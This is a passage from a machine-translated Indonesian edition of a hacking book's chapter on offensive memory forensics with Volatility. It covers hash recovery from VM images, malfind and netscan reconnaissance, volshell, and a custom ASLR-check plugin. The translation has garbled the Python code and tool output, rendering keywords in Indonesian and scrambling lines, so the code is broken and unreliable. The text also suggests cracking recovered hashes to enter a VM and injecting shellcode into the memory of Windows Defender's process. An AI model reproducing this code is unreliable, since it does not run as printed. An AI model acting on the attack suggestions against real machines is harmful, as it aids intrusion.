VM atau merupakan perusahaan yang berupaya memasukkan beberapa aktivitas penggunanya
ke VM, melihat VM atau snapshot pada sistem adalah saat yang tepat untuk mencoba
memulihkan hash ini setelah Anda mendapatkan akses ke perangkat keras host.

Volatilitas membuat proses pemulihan ini menjadi sangat mudah.


Kami telah mengaburkan hash dalam keluaran kami. Anda dapat menggunakan keluaran
Anda sendiri sebagai masukan ke alat pemecah hash untuk menemukan jalan masuk ke VM.
Ada beberapa situs pemecah hash online; alternatifnya, Anda dapat menggunakan John the
Ripper di mesin Kali Anda.

Forensik Ofensif 175


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Pengintaian Kerentanan
Sekarang mari kita gunakan Volatilitas untuk mengetahui apakah VM target memiliki
kerentanan yang mungkin dapat kita eksploitasi. Plug -in malfind memeriksa rentang
memori proses yang berpotensi berisi kode yang disuntikkan. Potensi adalah kata kuncinya di sini—
plug-in mencari wilayah memori yang memiliki izin untuk membaca, menulis, dan
mengeksekusi. Penting untuk menyelidiki proses ini karena proses ini memungkinkan kami
memanfaatkan beberapa malware yang sudah tersedia. Alternatifnya, kami mungkin dapat
menimpa wilayah tersebut dengan malware kami sendiri.

PS>vol -f WinDev2007Eval-7d959ee5.vmem windows.malfind


Volatilitas 3 Kerangka 1.2.0-beta.1
Kemajuan: 33.01 Memindai primer2 menggunakan PdbSignatureScanner
Proses PID Mulai VPN Akhiri VPN Perlindungan Tag Biaya Komit

1336 timeserv.exe 0x660000 0x660fff VadS PAGE_EXECUTE_READWRITE 1


2160 MsMpEng.exe 0x16301690000 0x1630179cfff VadS PAGE_EXECUTE_READWRITE 269
2160 MsMpEng.exe 0x16303090000 0x1630318ffff VadS PAGE_EXECUTE_READWRITE 256
2160 MsMpEng.exe 0x16304a00000 0x16304bfffff VadS PAGE_EXECUTE_READWRITE 512
6484 GratisDesktopClo 0x2320000 0x2320fff VadS PAGE_EXECUTE_READWRITE 1
5340 Microsoft.Powe 0x2c2502c0000 0x2c2502cffff VadS PAGE_EXECUTE_READWRITE 15

Kami menemui beberapa potensi masalah. Proses timeserv.exe ( PID 1336) adalah
bagian dari freeware yang dikenal sebagai FreeDesktopClock (PID 6484).
Proses-proses ini tidak selalu menjadi masalah asalkan diinstal di C:\Program Files. Jika
tidak, prosesnya mungkin berupa malware yang menyamar sebagai jam.

Menggunakan mesin pencari, Anda akan menemukan proses MsMpEng.exe


(PID 2160) adalah layanan anti-malware. Meskipun proses ini berisi wilayah memori yang
dapat ditulis dan dijalankan, proses ini tampaknya tidak berbahaya. Mungkin kita bisa
membuat proses ini berbahaya dengan menulis shellcode ke dalam wilayah memori
tersebut, jadi ada baiknya kita mencatatnya.
Plug -in netscan menyediakan daftar semua koneksi jaringan yang dimiliki mesin
pada saat snapshot, seperti yang ditunjukkan berikutnya. Apa pun yang terlihat
mencurigakan mungkin bisa kita manfaatkan dalam serangan.

PS>vol -f WinDev2007Eval-7d959ee5.vmem windows.netscan


Volatilitas 3 Kerangka 1.2.0-beta.1
Kemajuan: 33,01 Offset Memindai primer2 menggunakan PdbSignatureScanner
Proto LocalAddr LocalPort ForeignTambahkan Negara ForeignPort Pemilik PID

0xa50bb7a13d90 TCPv4 0.0.0.0 MENDENGARKAN4444


71240,0.0.0 0 1
nc64.exe
0xa50bb9f4c310 TCPv4 0.0.0.0 MENDENGARKAN 7680
1776 0,0.0.0 0
svchost.exe
49664
0xa50bb9f615c0 TCPv4 0.0.0.0 MENDENGARKAN 0,0.0.0 0
564 lsass.exe
0xa50bb9f62190 TCPv4 0.0.0.0 MENDENGARKAN
49665
492 wininit.exe
0,0.0.0 0
0xa50bbaa80b20 TCPv4 192.168.28.128 50948 23.40.62.19 TUTUP 2 80
w0xa50bbabd2010 TCPv4 192.168.28.128 50954 23.193.33.57 443 DITUTUP
0xa50bbad8d010 TCPv4 192.168.28.128 50953 99.84.222.93 443 DITUTUP
0xa50bbaef3010 TCPv4 192.168.28.128 50959 23.193.33.57 443 DITUTUP
0xa50bbaff7010 TCPv4 192.168.28.128 50950 52.179.224.121 443 DITUTUP
0xa50bbbd240a0 TCPv4 192.168.28.128 MENDENGARKAN
139 0.0.0.0 0

176 Bab 11
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Kami melihat beberapa koneksi dari mesin lokal (192.168.28.128), tampaknya ke beberapa
server web 2; koneksi ini sekarang ditutup.
Yang lebih penting adalah koneksi bertanda MENDENGARKAN. Yang dimiliki oleh proses
Windows yang dapat dikenali (svchost, lsass, wininit) mungkin baik-baik saja, tetapi proses nc64.exe
tidak diketahui 1. Proses ini mendengarkan pada port 4444, dan ada baiknya melihat lebih dalam
dengan menggunakan pengganti netcat kami dari Bab 2 untuk menyelidiki port itu.

Antarmuka volshell
Selain antarmuka baris perintah, Anda dapat menggunakan Volatilitas di shell Python khusus
dengan perintah volshell . Ini memberi Anda semua kekuatan Volatilitas serta cangkang Python
lengkap. Berikut ini contoh penggunaan plug-in pslist pada image Windows menggunakan volshell:

1 PS> volshell -w -f WinDev2007Eval-7d959ee5.vmem


2 >>> dari pslist impor volatilitas.plugins.windows
3 >>> dpo(pslist.PsList, primer=self.current_layer, nt_symbols=self.config['nt_
simbol'])
PID PPID ImageFileName Offset(V) Thread Menangani SessionId Wow64

4 0 0xa50bb3e6d040 129 - T/A PALSU


Registri
72 - T/A PALSU
Sistem 0xa50bb3fbd080 4 OneDrive.exe
6452 4 4732 0xa50bb4d62080 25 FreeDesktopClo - 1 BENAR

6484 4732 - 1 PALSU


0xa50bbb847300 1
...

Dalam contoh singkat ini, kami menggunakan tombol -w untuk memberi tahu Volatility bahwa
kami sedang menganalisis gambar Windows dan tombol -f untuk menentukan gambar itu sendiri 1.
Setelah kita berada di antarmuka volshell , kita menggunakannya seperti shell Python biasa.
Artinya, Anda dapat mengimpor paket atau menulis fungsi seperti biasa, tetapi sekarang Anda juga
memiliki Volatilitas yang tertanam di shell. Kami mengimpor plist
plug-in 2 dan menampilkan output ( fungsi dpo ) dari plug-in 3.
Anda dapat menemukan informasi lebih lanjut tentang penggunaan volshell dengan memasukkan
volshell --help.

Plug-In Volatilitas Khusus


Kita baru saja melihat bagaimana kita dapat menggunakan plug-in Volatilitas untuk menganalisis
snapshot VM untuk mengetahui kerentanan yang ada, membuat profil pengguna dengan memeriksa
perintah dan proses yang digunakan, dan membuang hash kata sandi. Namun karena Anda
dapat menulis plugin khusus Anda sendiri, hanya imajinasi Anda yang membatasi apa yang dapat
Anda lakukan dengan Volatilitas. Jika Anda memerlukan informasi tambahan berdasarkan petunjuk
yang ditemukan dari plug-in standar, Anda dapat membuat plug-in sendiri.
Tim Volatilitas telah mempermudah pembuatan plugin, selama Anda mengikuti polanya. Anda
bahkan dapat meminta plugin baru Anda memanggil plugin lain untuk membuat pekerjaan Anda lebih
mudah.

Forensik Ofensif 177


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Mari kita lihat kerangka plug-in pada umumnya:

impor. . .

1 kelas CmdLine(interfaces.plugin.PluginInterface):
@metode kelas
2 def get_requirements(cls):
lulus

3 def lari (mandiri):


lulus

4 generator def (mandiri, proses):


lulus

Langkah utama di sini adalah membuat kelas baru untuk diwarisi dari
PluginInterface 1, tentukan persyaratan plug-in Anda 2, tentukan prosesnya
metode 3, dan tentukan metode generator 4. Metode generator bersifat opsional, namun
memisahkannya dari metode run adalah pola berguna yang akan Anda lihat di banyak
plugin. Dengan memisahkannya dan menggunakannya sebagai generator Python, Anda
bisa mendapatkan hasil yang lebih cepat dan membuat kode Anda lebih mudah dipahami.
Mari ikuti pola umum ini untuk membuat plug-in khusus yang akan memeriksa
proses yang tidak dilindungi oleh pengacakan tata letak ruang alamat (ASLR). ASLR
mencampurkan ruang alamat dari proses yang rentan, yang mempengaruhi lokasi
memori virtual dari heap, stack, dan alokasi sistem operasi lainnya. Artinya, penulis
eksploitasi tidak dapat menentukan bagaimana ruang alamat dari proses korban diletakkan
pada saat serangan.
Windows Vista adalah rilis Windows pertama dengan dukungan ASLR. Pada image
memori lama seperti Windows XP, Anda tidak akan melihat perlindungan ASLR diaktifkan
secara default. Sekarang, dengan mesin terbaru (Windows 10), hampir semua proses
terlindungi.
ASLR tidak berarti penyerangnya gulung tikar, namun ASLR berhasil
jauh lebih rumit. Sebagai langkah pertama dalam mengintai proses, kami akan membuat
plug-in untuk memeriksa apakah suatu proses dilindungi oleh ASLR.
Mari kita mulai. Buat direktori bernama plugin. Di bawah direktori itu,
buat direktori windows untuk memuat plug-in khusus Anda untuk mesin Windows. Jika
Anda membuat plug-in untuk menargetkan mesin Mac atau Linux, buatlah direktori masing-
masing dengan nama mac atau linux .
Sekarang, di direktori plugins/ windows , mari tulis plug-in pemeriksaan ASLR kita,
aslrcheck.py:

# Cari semua proses dan periksa perlindungan ASLR


#
dari mengetik import Callable, List

dari volatilitas.framework mengimpor konstanta, pengecualian, antarmuka, penyaji


dari persyaratan impor volatilitas.framework.configuration
dari volatilitas.framework.renderers mengimpor format_hints
dari volatilitas.framework.symbols impor antar
dari ekstensi impor volatilitas.framework.symbols.windows
dari volatilitas.plugins.windows impor pslist

178 Bab 11
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

impor io
impor logging
impor os
impor pefile

vollog = logging.getLogger(__nama__)

IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040
IMAGE_FILE_RELOCS_STRIPPED = 0x0001

Pertama-tama kita menangani impor yang kita perlukan, ditambah perpustakaan pefile untuk
menganalisis file Portable Executable (PE). Sekarang mari kita tulis fungsi pembantu untuk melakukan
analisis tersebut:

1 def check_aslr(pe):

pe.parse_data_directories([ pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG']
])
dinamis = Salah
dilucuti = Salah

2 if (pe.OPTIONAL_HEADER.DllCharacteristics &
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE):
dinamis = Benar 3
if pe.FILE_HEADER.Characteristics & IMAGE_FILE_RELOCS_STRIPPED:
stripped = Benar 4
jika tidak dinamis atau (dinamis dan dilucuti): aslr = Salah yang
lain: aslr = Benar

kembali aslr

Kami meneruskan objek file PE ke fungsi check_aslr 1, menguraikannya, dan kemudian


memeriksa apakah objek tersebut telah dikompilasi dengan pengaturan dasar DINAMIS 2 dan
apakah data relokasi file telah dihapus 3. Jika tidak dinamis, atau mungkin dikompilasi sebagai
dinamis tetapi data relokasinya dihilangkan, maka file PE tidak dilindungi oleh ASLR 4.

Dengan fungsi pembantu check_aslr yang siap digunakan, mari buat


Kelas AslrCheck :

1 kelas AslrCheck(interfaces.plugins.PluginInterface):

@classmethod
def get_requirements(cls): return
[2
persyaratan.TranslationLayerRequirement( nama='utama',
deskripsi='Lapisan memori untuk kernel', arsitektur=["Intel32", "Intel64"]),

3 persyaratan.SymbolTableRequirement( name="nt_symbols",
deskripsi="simbol kernel Windows"),

Forensik Ofensif 179


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

4 persyaratan.Persyaratan Plugin(
nama='pslist', plugin=pslist.PsList, versi=(1, 0, 0)),

5 persyaratan.ListRequirement(nama = 'pid',
elemen_tipe = int,
deskripsi = "ID Proses yang akan disertakan (yang lainnya dikecualikan)",
opsional = Benar),
]

Langkah pertama dalam membuat plugin adalah mewarisi dari PluginInterface


objek 1. Selanjutnya, tentukan persyaratannya. Anda bisa mendapatkan gambaran bagus tentang
apa yang Anda perlukan dengan meninjau plugin lainnya. Setiap plug-in memerlukan lapisan memori,
dan kita tentukan persyaratannya terlebih dahulu 2. Bersamaan dengan lapisan memori, kita juga
memerlukan tabel simbol 3. Anda akan menemukan kedua persyaratan ini digunakan oleh hampir
semua plug-in.
Kita juga memerlukan plugin pslist sebagai persyaratan untuk mendapatkan semua proses
dari memori dan membuat ulang file PE dari proses 4.
Kemudian kita akan meneruskan file PE yang dibuat ulang dari setiap proses dan memeriksanya
untuk perlindungan ASLR.
Kita mungkin ingin memeriksa satu proses dengan ID proses, jadi kita membuat pengaturan
opsional lain yang memungkinkan kita meneruskan daftar ID proses untuk membatasi pemeriksaan
hanya pada proses tersebut5.

@metode kelas
def create_pid_filter(cls, pid_list: Daftar[int] = Tidak Ada) -> Callable[[interfaces.objects.
Antarmuka Objek], bool]:
filter_func = lambda _: Salah
pid_list = pid_list atau []
filter_list = [x untuk x di pid_list jika x bukan Tidak Ada]
jika filter_daftar:
filter_func = lambda x: x.UniqueProcessId tidak ada di filter_list
kembalikan filter_func

Untuk menangani ID proses opsional, kami menggunakan metode kelas untuk membuat
fungsi filter yang mengembalikan False untuk setiap ID proses dalam daftar; yaitu, pertanyaan yang
kita ajukan pada fungsi filter adalah apakah akan memfilter suatu proses, jadi kita mengembalikan
True hanya jika PID tidak ada dalam daftar:

def _generator(mandiri, proses):


pe_table_name = intermed.IntermediateSymbolTable.buat( 1
diri.konteks,
mandiri.config_path,
"jendela",
"pada",
class_types=ekstensi.pe.class_types)

nama proses = daftar()


untuk proc di procs:
namaproc = proc.ImageFileName.cast("string",
max_length=proc.ImageFileName.vol.count, error='ganti')
jika procname di procnames:

180 Bab 11
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
melanjutkan
namapro.tambahkan(namaproc)

proc_id = "Tidak diketahui"


coba:
proc_id = proc.UniqueProcessId
proc_layer_name = proc.add_process_layer() kecuali
pengecualian.InvalidAddressException sebagai e: vollog.error(f"Proses
{proc_id}: alamat tidak valid {e} di lapisan {e.layer_name}" ) melanjutkan

peb = self.context.object( 2
self.config['nt_symbols'] + konstanta.BANG + "_PEB", nama_lapisan =
nama_lapisan proc, offset = proc.Peb)

coba:
dos_header = self.context.object( pe_table_name
+ konstanta.BANG + "_IMAGE_DOS_HEADER", offset=peb.ImageBaseAddress,
layer_name=proc_layer_name) kecuali
Pengecualian sebagai e: lanjutkan

pe_data = io.BytesIO() untuk


offset, data di dos_header.reconstruct(): pe_data.seek(offset)
pe_data.write(data)
pe_data_raw =
pe_data.getvalue() 3 pe_data.close()

coba:
pe = pefile.PE(data=pe_data_raw) 4 kecuali
Pengecualian sebagai e:
lanjutkan

aslr = check_aslr(pe) 5

hasil (0, (proc_id, 6 nama


proses,
format_hints.Hex(pe.OPTIONAL_HEADER.ImageBase), aslr, ))

Kami membuat struktur data khusus yang disebut pe_table_name 1 untuk


digunakan saat kami mengulang setiap proses di memori. Kemudian kita
mendapatkan wilayah memori Process Environment Block (PEB) yang terkait dengan
setiap proses dan memasukkannya ke dalam objek 2. PEB adalah struktur data
untuk proses saat ini yang berisi banyak informasi tentang proses tersebut. Kami
menulis wilayah itu ke dalam objek seperti file (pe_data) 3, membuat objek PE
menggunakan perpustakaan pefile 4, dan meneruskannya ke metode pembantu
check_aslr 5. Terakhir, kami menghasilkan tupel informasi yang berisi ID proses,
nama proses, alamat memori proses, dan hasil Boolean dari pemeriksaan proteksi ASLR 6.

Forensik Ofensif 181


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Sekarang kita membuat metode run , yang tidak memerlukan argumen karena semua
pengaturan diisi di objek config:

def lari(diri):
1 proses = pslist.PsList.list_processes(self.context,
self.config["utama"],
mandiri.config["nt_symbols"],
filter_fungsi =
self.create_pid_filter(self.config.get('pid', Tidak Ada)))
2 penyaji kembali.TreeGrid([
("PID", ke dalam),
("Nama file", str),
("Dasar", format_hints.Hex),
("ASLR", bodoh)],
mandiri._generator(procs))

Kami mendapatkan daftar proses menggunakan plug-in pslist 1 dan mengembalikan


data dari generator menggunakan renderer TreeGrid 2. Renderer TreeGrid digunakan
oleh banyak plug-in. Ini memastikan bahwa kami mendapatkan satu baris hasil untuk
setiap proses yang dianalisis.

Menendang Ban
Mari kita lihat salah satu gambar yang tersedia di situs Volatilitas: Malware – Cridex.
Untuk plugin khusus Anda, berikan saklar -p dengan jalur ke folder plugin Anda:

PS>vol -p .\plugins\windows -f cridex.vmem aslrcheck.AslrCheck


Volatilitas 3 Kerangka 1.2.0-beta.1
Kemajuan: 0,00 PID Nama Memindai primer2 menggunakan PdbSignatureScanner
File Basis ASLR

368 smss.exe 0x48580000 PALSU


584 csrss.exe 0x4a680000 PALSU
608 winlogon.exe 0x1000000 PALSU
652 layanan.exe 0x1000000 PALSU
664 lsass.exe 0x1000000 PALSU
824 svchost.exe 0x1000000 PALSU
1484 explorer.exe 0x1000000 PALSU
1512 spoolsv.exe 0x1000000 PALSU
1640 reader_sl.exe 0x400000 alg.exe PALSU
788 wuauclt.exe 0x1000000 PALSU
1136 0x400000 PALSU

Seperti yang Anda lihat, ini adalah mesin Windows XP, dan tidak ada perlindungan
ASLR pada proses apa pun.
Berikut ini hasil mesin Windows 10 yang bersih dan terkini:

PS>vol -p .\plugins\windows -f WinDev2007Eval-Snapshot4.vmem aslrcheck.AslrCheck


Volatilitas 3 Kerangka 1.2.0-beta.1
Kemajuan: 33.01 Nama Memindai primer2 menggunakan PdbSignatureScanner
File PID Basis ASLR

182 Bab 11
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

316 smss.exe 0x7ff668020000 Benar


428 csrss.exe 0x7ff796c00000 Benar
500 wininit.exe 0x7ff7d9bc0000 Benar
568 winlogon.exe 0x7ff6d7e50000 Benar
592 layanan.exe 0x7ff76d450000 Benar
600 lsass.exe 0x7ff6f8320000 Benar
696 fontdrvhost.ex 0x7ff65ce30000 Benar
728 svchost.exe 0x7ff78eed0000 Benar

Volatilitas tidak dapat membaca halaman yang diminta:


Kesalahan halaman 0x7ff65f4d0000 di lapisan primer2_Process928 (Kesalahan Halaman pada entri 0xd40c9d88c8a00400 di entri
halaman)

*
Noda memori selama akuisisi (coba dapatkan kembali jika memungkinkan)
* Pencarian halaman yang sengaja tidak valid (perlindungan sistem operasi)
* Bug di plugin/volatilitas (jalankan kembali dengan -vvv dan laporkan bug)

Tidak ada hasil lebih lanjut yang akan dihasilkan

Tidak terlalu banyak yang bisa dilihat di sini. Setiap proses yang terdaftar dilindungi oleh ASLR.
Namun, kami juga melihat noda ingatan. Noda memori terjadi ketika isi memori berubah seiring
pengambilan gambar memori. Hal ini mengakibatkan deskripsi tabel memori tidak cocok dengan
memori itu sendiri; sebagai alternatif, penunjuk memori virtual mungkin merujuk pada data yang
tidak valid. Meretas itu sulit. Seperti yang dijelaskan dalam deskripsi kesalahan, Anda dapat mencoba
memperoleh kembali gambar tersebut (menemukan atau membuat snapshot baru).

Mari kita periksa contoh gambar memori PassMark Windows 10:

PS>vol -p .\plugins\windows -f WinDump.mem aslrcheck.AslrCheck


Volatilitas 3 Kerangka 1.2.0-beta.1
Kemajuan: 0,00 Nama File Memindai primer2 menggunakan PdbSignatureScanner
PID Basis ASLR

356 smss.exe 0x7ff6abfc0000 Benar


2688 MsMpEng.exe 0x7ff799490000 Benar
2800 SecurityHealth 0x7ff6ef1e0000 Benar
5932 GoogleCrashHan 0xed0000 Benar
5380 Pengindeks Pencarian. 0x7ff6756e0000 Benar
3376 winlogon.exe 0x7ff65ec50000 Benar
6976 dwm.exe 0x7ff6ddc80000 Benar
9336 atieclxx.exe 0x7ff7bbc30000 Benar
9932 remsh.exe 0x7ff736d40000 Benar
2192 SynTPEnh.exe 0x140000000 PALSU
7688 explorer.exe 0x7ff7e7050000 Benar
7736 SynTPHelper.ex 0x7ff7782e0000 Benar

Hampir semua proses dilindungi. Hanya satu proses SynTPEnh.exe


tidak dilindungi ASLR. Pencarian online menunjukkan bahwa ini adalah komponen perangkat lunak
Synaptics Pointing Device, mungkin untuk layar sentuh. Selama proses tersebut terinstal di c:\Program
Files, mungkin tidak apa-apa, tapi mungkin ada baiknya untuk dikaburkan nanti.

Forensik Ofensif 183


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Dalam bab ini, Anda melihat bahwa Anda dapat memanfaatkan kekuatan kerangka Volatilitas
untuk menemukan lebih banyak informasi tentang perilaku dan koneksi pengguna serta menganalisis
data pada setiap proses yang menjalankan memori. Anda dapat menggunakan informasi tersebut
untuk lebih memahami pengguna dan mesin target serta memahami pola pikir seorang pembela
HAM.

Maju!
Anda seharusnya sudah menyadari sekarang bahwa Python adalah bahasa yang bagus
untuk peretasan, terutama jika Anda mempertimbangkan banyaknya perpustakaan
dan kerangka kerja berbasis Python yang Anda miliki. Meskipun ada banyak sekali alat
untuk peretas, tidak ada yang bisa menggantikan pengkodean alat Anda sendiri, karena ini
memberi Anda pemahaman lebih dalam tentang apa yang dilakukan alat lain tersebut.
Silakan dan segera buat kode alat khusus untuk kebutuhan khusus Anda.
Baik itu klien SSH untuk Windows, web scraper, atau sistem perintah dan kontrol,
Python siap membantu Anda.

184 Bab 11

Anda mungkin juga menyukai